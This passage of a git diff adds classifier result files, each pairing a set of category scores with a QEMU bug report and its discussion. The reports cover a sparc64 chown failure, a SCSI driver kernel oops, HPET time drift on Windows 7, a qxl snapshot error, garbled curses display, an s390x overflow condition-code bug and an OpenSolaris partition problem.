+files: 0.916 +device: 0.911 +permissions: 0.888 +debug: 0.871 +PID: 0.796 +socket: 0.791 +network: 0.782 +vnc: 0.652 +boot: 0.603 +other: 0.553 +KVM: 0.518 + +chown() fails when it should succeed in QEMU user mode on Linux/sparc64 +Description of problem: +The `chown()` function fails, instead of succeeding, in a particular situation. +Steps to reproduce: +[foo.c](/uploads/630d9b83671a071f4ded4da43b6c1b9b/foo.c) + +1. +``` +# apt install g++-10-sparc64-linux-gnu +# mkdir -p /usr/sparc64-linux-gnu/etc +# touch /usr/sparc64-linux-gnu/etc/ld.so.cache +``` +2. +``` +$ sparc64-linux-gnu-gcc-10 -Wall -static foo.c +``` +[a.out](/uploads/bbab43a1b78e6d16ee13e0eff5e963a5/a.out) + +3. Transfer the a.out file to a Linux/sparc64 machine; execute these commands there: +``` +$ id +``` +Verify that you are in 2 or more groups. +``` +$ touch file +$ ln -s file link +$ ln -s link link2 +$ ./a.out; echo $? +``` +It prints `0`. + +4. +``` +$ id +``` +Verify that you are in 2 or more groups. +``` +$ touch file +$ ln -s file link +$ ln -s link link2 +$ QEMU_LD_PREFIX=/usr/sparc64-linux-gnu ~/inst-qemu/6.1.0/bin/qemu-sparc64 ./a.out; echo $? +``` +Expected: `0` +Actual: +``` +chown: Operation not permitted +1 +``` +Additional information: + diff --git a/results/classifier/108/graphic/587993 b/results/classifier/108/graphic/587993 new file mode 100644 index 000000000..f36490ea2 --- /dev/null +++ b/results/classifier/108/graphic/587993 @@ -0,0 +1,148 @@ +graphic: 0.932 +permissions: 0.914 +KVM: 0.908 +device: 0.903 +PID: 0.895 +debug: 0.892 +performance: 0.890 +socket: 0.887 +files: 0.878 +other: 0.877 +semantic: 0.867 +boot: 0.853 +network: 0.850 +vnc: 0.766 + +qemu-kvm 0.12.4+dfsg-1 from debian squeeze crashes "BUG: unable to handle kernel NULL pointer" (sym53c8xx) + +I use eucalyptus software (1.6.2) on debian squeeze with kvm 0.12.4+dfsg-1. Kernel 2.6.32-3-amd64. After a few days machines crash. There are no logs in host system. Guest is the same kernel and OS as host. The kvm process use 100% of cpu time. I can not even ping the guest. Here is the log from virtual machine: + +[ 3577.816666] sd 0:0:0:0: [sda] ABORT operation started +[ 3582.816047] sd 0:0:0:0: ABORT operation timed-out. +[ 3582.816781] sd 0:0:0:0: [sda] ABORT operation started +[ 3587.816649] sd 0:0:0:0: ABORT operation timed-out. +[ 3587.817379] sd 0:0:0:0: [sda] DEVICE RESET operation started +[ 3592.816062] sd 0:0:0:0: DEVICE RESET operation timed-out. +[ 3592.816882] sd 0:0:0:0: [sda] BUS RESET operation started +[ 3592.820056] sym0: SCSI BUS reset detected. +[ 3592.831538] sym0: SCSI BUS has been reset. +[ 3592.831968] BUG: unable to handle kernel NULL pointer dereference at 0000000000000358 +[ 3592.832003] IP: [<ffffffffa01147c4>] sym_int_sir+0x62f/0x14e0 [sym53c8xx] +[ 3592.832003] PGD 5f73e067 PUD 5fa53067 PMD 0 +[ 3592.832003] Oops: 0000 [#1] SMP +[ 3592.832003] last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/host0/target0:0:0/0:0:0:0/vendor +[ 3592.832003] CPU 0 +[ 3592.832003] Modules linked in: dm_mod openafs(P) ext2 snd_pcsp snd_pcm snd_timer serio_raw i2c_piix4 snd virtio_balloon evdev i2c_core soundcore psmouse button processor snd_page_alloc ext3 jbd mbcache sd_mod crc_t10dif ata_generic libata ide_pci_generic sym53c8xx scsi_transport_spi thermal piix uhci_hcd ehci_hcd floppy thermal_sys scsi_mod virtio_pci virtio_ring virtio e1000 ide_core usbcore nls_base [last unloaded: scsi_wait_scan] +[ 3592.832003] Pid: 193, comm: scsi_eh_0 Tainted: P 2.6.32-3-amd64 #1 Bochs +[ 3592.832003] RIP: 0010:[<ffffffffa01147c4>] [<ffffffffa01147c4>] sym_int_sir+0x62f/0x14e0 [sym53c8xx] +[ 3592.832003] RSP: 0018:ffff880001803cb0 EFLAGS: 00010287 +[ 3592.832003] RAX: 000000000000000a RBX: 000000000000000b RCX: 000000005f410090 +[ 3592.832003] RDX: 0000000000000000 RSI: ffff88005c450800 RDI: ffffc90000a5e006 +[ 3592.832003] RBP: ffff88005f410000 R08: 0000000000000000 R09: 0000000000000000 +[ 3592.832003] R10: 000000000000003a R11: ffffffff813b871e R12: ffff88005f410090 +[ 3592.832003] R13: 0000000000000084 R14: 0000000000000000 R15: 0000000000000001 +[ 3592.832003] FS: 0000000000000000(0000) GS:ffff880001800000(0000) knlGS:0000000000000000 +[ 3592.832003] CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b +[ 3592.832003] CR2: 0000000000000358 CR3: 000000005e269000 CR4: 00000000000006f0 +[ 3592.832003] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 3592.832003] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 +[ 3592.832003] Process scsi_eh_0 (pid: 193, threadinfo ffff88005f6fa000, task ffff88005f697880) +[ 3592.832003] Stack: +[ 3592.832003] ffff88005f3fd000 0000000000000000 0000000000000130 0000000000000000 +[ 3592.832003] <0> ffff88005f407710 ffffc90000a64710 ffffffffffffff10 ffffffff81195301 +[ 3592.832003] <0> 0000000000000010 0000000000010212 ffff880001803d18 0000000000000018 +[ 3592.832003] Call Trace: +[ 3592.832003] <IRQ> +[ 3592.832003] [<ffffffff81195301>] ? __memcpy_toio+0x9/0x19 +[ 3592.832003] [<ffffffffa01164ed>] ? sym_interrupt+0x46c/0x6a3 [sym53c8xx] +[ 3592.832003] [<ffffffff8103fea0>] ? update_curr+0xa6/0x147 +[ 3592.832003] [<ffffffffa010fbde>] ? sym53c8xx_intr+0x43/0x6a [sym53c8xx] +[ 3592.832003] [<ffffffff81093bfc>] ? handle_IRQ_event+0x58/0x126 +[ 3592.832003] [<ffffffff810954e2>] ? handle_fasteoi_irq+0x7d/0xb5 +[ 3592.832003] [<ffffffff81013957>] ? handle_irq+0x17/0x1d +[ 3592.832003] [<ffffffff81012fb1>] ? do_IRQ+0x57/0xb6 +[ 3592.832003] [<ffffffff810114d3>] ? ret_from_intr+0x0/0x11 +[ 3592.832003] [<ffffffff81053903>] ? __do_softirq+0x6e/0x19f +[ 3592.832003] [<ffffffff8106fa87>] ? tick_dev_program_event+0x2d/0x95 +[ 3592.832003] [<ffffffff81011cac>] ? call_softirq+0x1c/0x30 +[ 3592.832003] [<ffffffff81013903>] ? do_softirq+0x3f/0x7c +[ 3592.832003] [<ffffffff810537e1>] ? irq_exit+0x36/0x76 +[ 3592.832003] [<ffffffff81025837>] ? smp_apic_timer_interrupt+0x87/0x95 +[ 3592.832003] [<ffffffff81011673>] ? apic_timer_interrupt+0x13/0x20 +[ 3592.832003] <EOI> +[ 3592.832003] [<ffffffff8118e009>] ? delay_tsc+0x0/0x73 +[ 3592.832003] [<ffffffffa010f900>] ? sym_eh_handler+0x22e/0x2e2 [sym53c8xx] +[ 3592.832003] [<ffffffffa008e5de>] ? scsi_try_bus_reset+0x50/0xd9 [scsi_mod] +[ 3592.832003] [<ffffffffa008f565>] ? scsi_eh_ready_devs+0x50c/0x781 [scsi_mod] +[ 3592.832003] [<ffffffffa008fd6b>] ? scsi_error_handler+0x3c1/0x5b5 [scsi_mod] +[ 3592.832003] [<ffffffffa008f9aa>] ? scsi_error_handler+0x0/0x5b5 [scsi_mod] +[ 3592.832003] [<ffffffff81064789>] ? kthread+0x79/0x81 +[ 3592.832003] [<ffffffff81011baa>] ? child_rip+0xa/0x20 +[ 3592.832003] [<ffffffff81064710>] ? kthread+0x0/0x81 +[ 3592.832003] [<ffffffff81011ba0>] ? child_rip+0x0/0x20 +[ 3592.832003] Code: 48 c7 c7 82 92 11 a0 eb 63 48 8b 98 38 01 00 00 48 8d b8 28 01 00 00 e8 df d5 0f e1 48 89 da 48 89 c6 48 c7 c7 bc 92 11 a0 eb 6d <49> 8b 96 58 03 00 00 48 8b 82 80 00 00 00 48 8b a8 b0 00 00 00 +[ 3592.832003] RIP [<ffffffffa01147c4>] sym_int_sir+0x62f/0x14e0 [sym53c8xx] +[ 3592.832003] RSP <ffff880001803cb0> +[ 3592.832003] CR2: 0000000000000358 +[ 3592.867935] ---[ end trace 06f90ebbdbd172ee ]--- +[ 3592.868360] Kernel panic - not syncing: Fatal exception in interrupt +[ 3592.868906] Pid: 193, comm: scsi_eh_0 Tainted: P D 2.6.32-3-amd64 #1 +[ 3592.869511] Call Trace: +[ 3592.869727] <IRQ> [<ffffffff812ed349>] ? panic+0x86/0x141 +[ 3592.870225] [<ffffffff81011673>] ? apic_timer_interrupt+0x13/0x20 +[ 3592.870778] [<ffffffff811afbdc>] ? dummycon_dummy+0x0/0x3 +[ 3592.871250] [<ffffffff81014a37>] ? oops_end+0x64/0xb4 +[ 3592.871694] [<ffffffff81014a7a>] ? oops_end+0xa7/0xb4 +[ 3592.872150] [<ffffffff810322b8>] ? no_context+0x1e9/0x1f8 +[ 3592.872626] [<ffffffff8103246d>] ? __bad_area_nosemaphore+0x1a6/0x1ca +[ 3592.873185] [<ffffffff8106807c>] ? up+0xe/0x36 +[ 3592.873576] [<ffffffff8104e219>] ? release_console_sem+0x17e/0x1af +[ 3592.874125] [<ffffffff81024d72>] ? lapic_next_event+0x18/0x1d +[ 3592.874642] [<ffffffff812ef595>] ? page_fault+0x25/0x30 +[ 3592.875103] [<ffffffffa01147c4>] ? sym_int_sir+0x62f/0x14e0 [sym53c8xx] +[ 3592.875678] [<ffffffff81195301>] ? __memcpy_toio+0x9/0x19 +[ 3592.876162] [<ffffffffa01164ed>] ? sym_interrupt+0x46c/0x6a3 [sym53c8xx] +[ 3592.876748] [<ffffffff8103fea0>] ? update_curr+0xa6/0x147 +[ 3592.877224] [<ffffffffa010fbde>] ? sym53c8xx_intr+0x43/0x6a [sym53c8xx] +[ 3592.877800] [<ffffffff81093bfc>] ? handle_IRQ_event+0x58/0x126 +[ 3592.878319] [<ffffffff810954e2>] ? handle_fasteoi_irq+0x7d/0xb5 +[ 3592.878848] [<ffffffff81013957>] ? handle_irq+0x17/0x1d +[ 3592.879305] [<ffffffff81012fb1>] ? do_IRQ+0x57/0xb6 +[ 3592.879744] [<ffffffff810114d3>] ? ret_from_intr+0x0/0x11 +[ 3592.880237] [<ffffffff81053903>] ? __do_softirq+0x6e/0x19f +[ 3592.880723] [<ffffffff8106fa87>] ? tick_dev_program_event+0x2d/0x95 +[ 3592.881284] [<ffffffff81011cac>] ? call_softirq+0x1c/0x30 +[ 3592.881762] [<ffffffff81013903>] ? do_softirq+0x3f/0x7c +[ 3592.882230] [<ffffffff810537e1>] ? irq_exit+0x36/0x76 +[ 3592.882691] [<ffffffff81025837>] ? smp_apic_timer_interrupt+0x87/0x95 +[ 3592.883258] [<ffffffff81011673>] ? apic_timer_interrupt+0x13/0x20 +[ 3592.883795] <EOI> [<ffffffff8118e009>] ? delay_tsc+0x0/0x73 +[ 3592.884319] [<ffffffffa010f900>] ? sym_eh_handler+0x22e/0x2e2 [sym53c8xx] +[ 3592.884917] [<ffffffffa008e5de>] ? scsi_try_bus_reset+0x50/0xd9 [scsi_mod] +[ 3592.885522] [<ffffffffa008f565>] ? scsi_eh_ready_devs+0x50c/0x781 [scsi_mod] +[ 3592.886152] [<ffffffffa008fd6b>] ? scsi_error_handler+0x3c1/0x5b5 [scsi_mod] +[ 3592.886789] [<ffffffffa008f9aa>] ? scsi_error_handler+0x0/0x5b5 [scsi_mod] +[ 3592.887398] [<ffffffff81064789>] ? kthread+0x79/0x81 +[ 3592.887836] [<ffffffff81011baa>] ? child_rip+0xa/0x20 +[ 3592.888290] [<ffffffff81064710>] ? kthread+0x0/0x81 +[ 3592.888721] [<ffffffff81011ba0>] ? child_rip+0x0/0x20 + +Unfortunatelly I have no idea how to reproduce the problem. + +If you can recreate the issue, please update the bug report with information about to how recreate the problem. + +Looks like the SCSI driver is causing problems. QEMU's SCSI emulation is known to be broken, please use IDE +or virtio-blk. + +Jes + + +Looks a duplicate of https://sourceforge.net/tracker/index.php?func=detail&aid=2042889&group_id=180599&atid=893831 + +Closed the SF bug, lets focus on this issue here. + +Jes + + +QEMU 0.12 is way outdated nowadays, so I assume this problem has been fixed sometime in the last years... so I'm closing this ticket now. If you still have problems with the latest version of QEMU, please feel free to open this bug again. + diff --git a/results/classifier/108/graphic/599958 b/results/classifier/108/graphic/599958 new file mode 100644 index 000000000..34bfa5cfa --- /dev/null +++ b/results/classifier/108/graphic/599958 @@ -0,0 +1,277 @@ +graphic: 0.980 +semantic: 0.978 +debug: 0.978 +permissions: 0.970 +other: 0.965 +performance: 0.961 +PID: 0.961 +socket: 0.952 +device: 0.951 +files: 0.934 +boot: 0.925 +vnc: 0.897 +KVM: 0.881 +network: 0.799 + +Timedrift problems with Win7: hpet missing time drift fixups + +We've been finding timedrift issues witth Win7 under qemu-kvm on our daily testing + +kvm.qemu-kvm-git.smp2.Win7.64.timedrift.with_load FAIL 1 Time drift too large after rest period: 38.63% +kvm.qemu-kvm-git.smp2.Win7.64.timedrift.with_reboot FAIL 1 Time drift too large at iteration 1: 17.77 seconds +kvm.qemu-kvm-git.smp2.Win7.64.timedrift.with_migration FAIL 1 Time drift too large at iteration 2: 3.08 seconds + +Steps to reproduce: + +timedrift.with_load + +1) Log into a guest. +2) Take a time reading from the guest and host. +3) Run load on the guest and host. +4) Take a second time reading. +5) Stop the load and rest for a while. +6) Take a third time reading. +7) If the drift immediately after load is higher than a user- + specified value (in %), fail. + If the drift after the rest period is higher than a user-specified value, + fail. + +timedrift.with_migration + +1) Log into a guest. +2) Take a time reading from the guest and host. +3) Migrate the guest. +4) Take a second time reading. +5) If the drift (in seconds) is higher than a user specified value, fail. + +timedrift.with_reboot + +1) Log into a guest. +2) Take a time reading from the guest and host. +3) Reboot the guest. +4) Take a second time reading. +5) If the drift (in seconds) is higher than a user specified value, fail. + +This bug is to register those issues and keep an eye on them. + +Attached, some logs from the autotest tests executed on the guest + + + + + + + +Does adding -no-hpet make a difference? I assume that Win7 is using hpet by default and we currently don't do any time drift mitigation with hpet. + +I will try that on a separate test job and will let you know about the results. + +Indeed -no-hpet made the tests pass. It's still uncertain to me whether this flag is supported across several branches of qemu-kvm, if it's supported in all branches I'm going to update the upstream kvm autotest config file. + +-no-hpet works in every version of qemu/qemu-kvm that has included HPET support. RHEL disables HPET support by default unlike qemu and qemu-kvm. + +I've updated the bug priority and title to reflect what the issue is. + +We only support edge triggered interrupts with HPET which seems to be what most OSes use anyway. We could potentially use the reset_irq_delivered/get_irq_delivered APIC functions to implement interrupt catch-up but I think it would be better to try to merge Jan's generic IRQ delivered API first. + +Sent patch http://patchwork.test.kernel.org/patch/2384/ to autotest and will update the autotest server to reflect that option. + +Apparently this bug's still alive and kicking. + +There's an obvious clock skew problem on Windows 7; in the Date & Time dialog, the clock jumps through seconds visibly too fast. + +I also found a case where HPET bugs are causing a real problem: Terraria (dedicated server) seems to be relying on (something that relies on) HPET, and QEMU doesn't get it right. The result is a goofy and aggravating behavior I've nicknamed "Turbo Monsters of Doom" and it makes killing anything tougher than a normal zombie basically impossible. + +Forgot to add: Reproduced the above behavior in both 1.5.1 and 1.6.0. Adding -no-hpet to commandline removed both problems (full disclosure: this fix wasn't tested in 1.5.1 but I have no reason to believe behavior would be different.) + +Fair enough in itself, but if HPET is known to have problems with +arguably the most popular OS family to use as a guest, why is it +enabled by default? + +On Tue, Oct 1, 2013 at 10:56 AM, Gleb Natapov <email address hidden> wrote: +> On Tue, Oct 01, 2013 at 09:34:06AM -0000, Ben A wrote: +>> Apparently this bug's still alive and kicking. +>> +> And no plans to fix it. Do not use hpet with windows guests this buys +> you nothing. +> +>> There's an obvious clock skew problem on Windows 7; in the Date & Time +>> dialog, the clock jumps through seconds visibly too fast. +>> +>> I also found a case where HPET bugs are causing a real problem: Terraria +>> (dedicated server) seems to be relying on (something that relies on) +>> HPET, and QEMU doesn't get it right. The result is a goofy and +>> aggravating behavior I've nicknamed "Turbo Monsters of Doom" and it +>> makes killing anything tougher than a normal zombie basically +>> impossible. +>> +>> -- +>> You received this bug notification because you are a member of qemu- +>> devel-ml, which is subscribed to QEMU. +>> https://bugs.launchpad.net/bugs/599958 +>> +>> Title: +>> Timedrift problems with Win7: hpet missing time drift fixups +>> +>> Status in QEMU: +>> Confirmed +>> +>> Bug description: +>> We've been finding timedrift issues witth Win7 under qemu-kvm on our +>> daily testing +>> +>> kvm.qemu-kvm-git.smp2.Win7.64.timedrift.with_load FAIL 1 Time drift too large after rest period: 38.63% +>> kvm.qemu-kvm-git.smp2.Win7.64.timedrift.with_reboot FAIL 1 Time drift too large at iteration 1: 17.77 seconds +>> kvm.qemu-kvm-git.smp2.Win7.64.timedrift.with_migration FAIL 1 Time drift too large at iteration 2: 3.08 seconds +>> +>> Steps to reproduce: +>> +>> timedrift.with_load +>> +>> 1) Log into a guest. +>> 2) Take a time reading from the guest and host. +>> 3) Run load on the guest and host. +>> 4) Take a second time reading. +>> 5) Stop the load and rest for a while. +>> 6) Take a third time reading. +>> 7) If the drift immediately after load is higher than a user- +>> specified value (in %), fail. +>> If the drift after the rest period is higher than a user-specified value, +>> fail. +>> +>> timedrift.with_migration +>> +>> 1) Log into a guest. +>> 2) Take a time reading from the guest and host. +>> 3) Migrate the guest. +>> 4) Take a second time reading. +>> 5) If the drift (in seconds) is higher than a user specified value, fail. +>> +>> timedrift.with_reboot +>> +>> 1) Log into a guest. +>> 2) Take a time reading from the guest and host. +>> 3) Reboot the guest. +>> 4) Take a second time reading. +>> 5) If the drift (in seconds) is higher than a user specified value, fail. +>> +>> This bug is to register those issues and keep an eye on them. +>> +>> Attached, some logs from the autotest tests executed on the guest +>> +>> To manage notifications about this bug go to: +>> https://bugs.launchpad.net/qemu/+bug/599958/+subscriptions +> +> -- +> Gleb. + + +Agh, I forgot reply all. + +Seems like something that should be changed, no? It would've saved me +a lot of headache if there was a switch e.g. +-optimize-for=[linux,winxp, +win7,etc] that changed the defaults to be +most accomodating to the specified OS as a guest. + +On Tue, Oct 1, 2013 at 11:33 AM, Gleb Natapov <email address hidden> wrote: +> On Tue, Oct 01, 2013 at 11:23:07AM -0500, Ben "Root" Anderson wrote: +>> Fair enough in itself, but if HPET is known to have problems with +>> arguably the most popular OS family to use as a guest, why is it +>> enabled by default? +>> +> Arguably :) But QEMU defaults are arguably far from been optimal for any +> guest. +> +>> On Tue, Oct 1, 2013 at 10:56 AM, Gleb Natapov <email address hidden> wrote: +>> > On Tue, Oct 01, 2013 at 09:34:06AM -0000, Ben A wrote: +>> >> Apparently this bug's still alive and kicking. +>> >> +>> > And no plans to fix it. Do not use hpet with windows guests this buys +>> > you nothing. +>> > +>> >> There's an obvious clock skew problem on Windows 7; in the Date & Time +>> >> dialog, the clock jumps through seconds visibly too fast. +>> >> +>> >> I also found a case where HPET bugs are causing a real problem: Terraria +>> >> (dedicated server) seems to be relying on (something that relies on) +>> >> HPET, and QEMU doesn't get it right. The result is a goofy and +>> >> aggravating behavior I've nicknamed "Turbo Monsters of Doom" and it +>> >> makes killing anything tougher than a normal zombie basically +>> >> impossible. +>> >> +>> >> -- +>> >> You received this bug notification because you are a member of qemu- +>> >> devel-ml, which is subscribed to QEMU. +>> >> https://bugs.launchpad.net/bugs/599958 +>> >> +>> >> Title: +>> >> Timedrift problems with Win7: hpet missing time drift fixups +>> >> +>> >> Status in QEMU: +>> >> Confirmed +>> >> +>> >> Bug description: +>> >> We've been finding timedrift issues witth Win7 under qemu-kvm on our +>> >> daily testing +>> >> +>> >> kvm.qemu-kvm-git.smp2.Win7.64.timedrift.with_load FAIL 1 Time drift too large after rest period: 38.63% +>> >> kvm.qemu-kvm-git.smp2.Win7.64.timedrift.with_reboot FAIL 1 Time drift too large at iteration 1: 17.77 seconds +>> >> kvm.qemu-kvm-git.smp2.Win7.64.timedrift.with_migration FAIL 1 Time drift too large at iteration 2: 3.08 seconds +>> >> +>> >> Steps to reproduce: +>> >> +>> >> timedrift.with_load +>> >> +>> >> 1) Log into a guest. +>> >> 2) Take a time reading from the guest and host. +>> >> 3) Run load on the guest and host. +>> >> 4) Take a second time reading. +>> >> 5) Stop the load and rest for a while. +>> >> 6) Take a third time reading. +>> >> 7) If the drift immediately after load is higher than a user- +>> >> specified value (in %), fail. +>> >> If the drift after the rest period is higher than a user-specified value, +>> >> fail. +>> >> +>> >> timedrift.with_migration +>> >> +>> >> 1) Log into a guest. +>> >> 2) Take a time reading from the guest and host. +>> >> 3) Migrate the guest. +>> >> 4) Take a second time reading. +>> >> 5) If the drift (in seconds) is higher than a user specified value, fail. +>> >> +>> >> timedrift.with_reboot +>> >> +>> >> 1) Log into a guest. +>> >> 2) Take a time reading from the guest and host. +>> >> 3) Reboot the guest. +>> >> 4) Take a second time reading. +>> >> 5) If the drift (in seconds) is higher than a user specified value, fail. +>> >> +>> >> This bug is to register those issues and keep an eye on them. +>> >> +>> >> Attached, some logs from the autotest tests executed on the guest +>> >> +>> >> To manage notifications about this bug go to: +>> >> https://bugs.launchpad.net/qemu/+bug/599958/+subscriptions +>> > +>> > -- +>> > Gleb. +> +> -- +> Gleb. + + +I google about an old link talk about this issue can be fixed by not using virtio + +http://forum.proxmox.com/archive/index.php/t-5783.html + +Looking through old bug tickets... can this issue still be reproduced with the latest version of QEMU? Or could we close this ticket nowadays? + + +Absolutely, please close it. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/610 b/results/classifier/108/graphic/610 new file mode 100644 index 000000000..2cb6d2651 --- /dev/null +++ b/results/classifier/108/graphic/610 @@ -0,0 +1,46 @@ +graphic: 0.958 +device: 0.928 +PID: 0.900 +vnc: 0.882 +semantic: 0.835 +files: 0.828 +debug: 0.774 +performance: 0.766 +socket: 0.740 +network: 0.737 +other: 0.726 +permissions: 0.699 +boot: 0.538 +KVM: 0.469 + +after upgrade to 6.1.0, snapshot creation fails with "pre-save failed: qxl" +Description of problem: +When trying to create a snapshot using `virsh --connect qemu:///system snapshot-create-as <domain-name> <snapshot-name>` or virt-manager GUI, I get the following error: + +``` +Error: Error while writing VM state: Unknown error -1 + + +Traceback (most recent call last): + File "/usr/share/virt-manager/virtManager/asyncjob.py", line 65, in cb_wrapper + callback(asyncjob, *args, **kwargs) + File "/usr/share/virt-manager/virtManager/details/snapshots.py", line 237, in _do_create_snapshot + self.vm.create_snapshot(xml) + File "/usr/share/virt-manager/virtManager/object/domain.py", line 1124, in create_snapshot + self._backend.snapshotCreateXML(xml, flags) + File "/usr/lib/python3.9/site-packages/libvirt.py", line 3059, in snapshotCreateXML + raise libvirtError('virDomainSnapshotCreateXML() failed') +libvirt.libvirtError: operation failed: Failed to take snapshot: pre-save failed: qxl +Error: Error while writing VM state: Unknown error -1 +``` +Additional information: +I'm using Arch Linux distro packages. +The issue appeared after upgrading qemu-headless from 6.0.0 to 6.1.0. +Downgrading back to 6.0.0 fixes the problem (snapshot are created +successfully and work as expected). + +In a reply to my message to libvirt-users describing the issue [1], +Daniel P. Berrangé confirmed that the error comes from QEMU and +recommended reporting it here. + +[1] https://listman.redhat.com/archives/libvirt-users/2021-September/msg00007.html diff --git a/results/classifier/108/graphic/612677 b/results/classifier/108/graphic/612677 new file mode 100644 index 000000000..6310cf4b6 --- /dev/null +++ b/results/classifier/108/graphic/612677 @@ -0,0 +1,38 @@ +graphic: 0.996 +other: 0.941 +device: 0.921 +boot: 0.900 +semantic: 0.888 +performance: 0.882 +files: 0.828 +debug: 0.820 +permissions: 0.791 +PID: 0.781 +network: 0.775 +vnc: 0.747 +socket: 0.699 +KVM: 0.605 + +qemu-kvm -curses displays garbled screen + +when I launch qemu-kvm -curses (even without a guest OS) I get a garbled output, here's a screenshot: +http://kontsevoy.com/qemu.png + +some more info: + +myarch ~: uname -a +Linux myarch 2.6.34-ARCH #1 SMP PREEMPT Mon Jul 5 22:12:11 CEST 2010 x86_64 Intel(R) Core(TM)2 Duo CPU P8700 @ 2.53GHz GenuineIntel GNU/Linux + +myarch ~: qemu-kvm --version +QEMU PC emulator version 0.12.5 (qemu-kvm-0.12.5), Copyright (c) 2003-2008 Fabrice Bellard + +I also fetched the latest qemu-kvm from git repo and compiled it with simple ./configure&make +The compiled version behaved similarly + +I also tried different terminal emulators: gnome-terminal and xterm - same thing +I also tried real terminal (i.e. booted without X) - same thing + +I can not reproduce this issue using -curses with the latest version of qemu, so I guess this has been fixed somewhen during the last years ... if nobody else can reproduce it, I think we should close this bug. + +I'm closing this bug now, since it is apparently working with the latest version of QEMU. + diff --git a/results/classifier/108/graphic/616 b/results/classifier/108/graphic/616 new file mode 100644 index 000000000..e3dacd430 --- /dev/null +++ b/results/classifier/108/graphic/616 @@ -0,0 +1,122 @@ +graphic: 0.958 +other: 0.956 +semantic: 0.948 +performance: 0.944 +debug: 0.942 +permissions: 0.941 +vnc: 0.935 +PID: 0.930 +files: 0.918 +device: 0.916 +KVM: 0.909 +socket: 0.900 +boot: 0.861 +network: 0.826 + +overflow condition code determined incorrectly after addition on s390x +Description of problem: +The following program foo.c +[foo.c](/uploads/78f5f799af6e3c400a6a42634f3f0e63/foo.c) + +``` +#include <stdio.h> + +int overflow_32 (int x, int y) +{ + int sum; + return ! __builtin_add_overflow (x, y, &sum); +} + +int overflow_64 (long long x, long long y) +{ + long sum; + return ! __builtin_add_overflow (x, y, &sum); +} + +int a1 = -2147483648; +int b1 = -2147483648; +long long a2 = -9223372036854775808L; +long long b2 = -9223372036854775808L; + +int main () +{ + { + int a = a1; + int b = b1; + printf ("a = 0x%x, b = 0x%x\n", a, b); + printf ("no_overflow = %d\n", overflow_32 (a, b)); + } + { + long long a = a2; + long long b = b2; + printf ("a = 0x%llx, b = 0x%llx\n", a, b); + printf ("no_overflow = %d\n", overflow_64 (a, b)); + } +} +``` + +should print + +``` +a = 0x80000000, b = 0x80000000 +no_overflow = 0 +a = 0x8000000000000000, b = 0x8000000000000000 +no_overflow = 0 +``` + +However, when compiled as an s390x program and executed through +qemu 6.1.0 (Linux user-mode), it prints 'no_overflow = 1' twice. + +``` +$ s390x-linux-gnu-gcc-10 --version +s390x-linux-gnu-gcc-10 (Ubuntu 10.3.0-1ubuntu1~20.04) 10.3.0 +``` + +``` +$ s390x-linux-gnu-gcc-10 -static foo.c +$ ~/inst-qemu/6.1.0/bin/qemu-s390x a.out +a = 0x80000000, b = 0x80000000 +no_overflow = 1 +a = 0x8000000000000000, b = 0x8000000000000000 +no_overflow = 1 +``` + +``` +$ s390x-linux-gnu-gcc-10 -O2 -static foo.c +$ ~/inst-qemu/6.1.0/bin/qemu-s390x a.out +a = 0x80000000, b = 0x80000000 +no_overflow = 1 +a = 0x8000000000000000, b = 0x8000000000000000 +no_overflow = 1 +``` + +The code generated by 's390x-linux-gnu-gcc-10 -O2' makes use of the +'o' (overflow / ones) condition code: + +``` +overflow_64: + lgr %r1,%r2 ;; copy a into %r1 + lghi %r2,0 + agr %r1,%r3 ;; add a and b + bnor %r14 ;; if no overflow, return %r2 = 0 + lghi %r2,1 + br %r14 ;; otherwise, return %r2 = 1 +``` + +Either the bug is in GCC, that is, GCC produces code that uses the CPU's +overflow condition code when it shouldn't. + +Or the bug is in QEMU, that is, QEMU does not set the overflow condition +code correctly. + +This can be decided by running the above program on real Linux/s390x hardware +(to which I don't have access). +Steps to reproduce: +[foo.static.s390x](/uploads/ac41abf4c54baf9ca96ba82d75a24ad6/foo.static.s390x) +(foo.static.s390x is attached, the result of "s390x-linux-gnu-gcc-10 -static -O2 foo.c -o foo.static.s390x") + +1. `qemu-s390x foo.static.s390x` +Additional information: +If the bug is really in QEMU, the attached patch fixes it. + +[0001-s390x-Fix-determination-of-overflow-condition-code-a.patch](/uploads/552917079ccd25f1861d682fc9dee3e8/0001-s390x-Fix-determination-of-overflow-condition-code-a.patch) diff --git a/results/classifier/108/graphic/618533 b/results/classifier/108/graphic/618533 new file mode 100644 index 000000000..81a23ac64 --- /dev/null +++ b/results/classifier/108/graphic/618533 @@ -0,0 +1,240 @@ +graphic: 0.948 +performance: 0.940 +other: 0.937 +permissions: 0.937 +boot: 0.934 +debug: 0.926 +KVM: 0.922 +semantic: 0.920 +vnc: 0.913 +socket: 0.912 +network: 0.909 +device: 0.900 +PID: 0.885 +files: 0.868 + +OpenSolaris guest fails to see the Solaris partitions of a physical disk in qemu-kvm-9999 (GIT) + +# qemu-kvm --version +QEMU emulator version 0.13.50 (qemu-kvm-devel), Copyright (c) 2003-2008 Fabrice Bellard + +The following disk is presented to guest as IDE disk with /dev/sdd as path. + +# fdisk -l /dev/sdd + +Disk /dev/sdd: 750.2 GB, 750156374016 bytes +255 heads, 63 sectors/track, 91201 cylinders, total 1465149168 sectors +Units = sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 512 bytes +I/O size (minimum/optimal): 512 bytes / 512 bytes +Disk identifier: 0x7f3a03aa + + Device Boot Start End Blocks Id System +/dev/sdd1 63 7887914 3943926 1b Hidden W95 FAT32 +/dev/sdd2 7887915 980736119 486424102+ 83 Linux +/dev/sdd3 * 980736120 1083150494 51207187+ bf Solaris +/dev/sdd4 1083150495 1465144064 190996785 5 Extended +/dev/sdd5 1083150558 1107746009 12297726 83 Linux +/dev/sdd6 1107746073 1465144064 178698996 7 HPFS/NTFS + +The prtvtoc output is attached from both VirtualBox and Qemu-KVM. As can be seen in the screenshots, a valid Solaris partition table (which is inside the /dev/sdd3, marked 'bf' in Linux fdisk output) is not seen in Qemu but seen in Virtualbox. + +This makes the guest unbootable in Qemu because the root FS is not found but its bootable in Virtualbox. + + + + + +Qemu's version of partition table is gotten using a OpenSolaris b134 livecd because I couldn't really boot the disk. + +Basically, somehow all the slice labels are 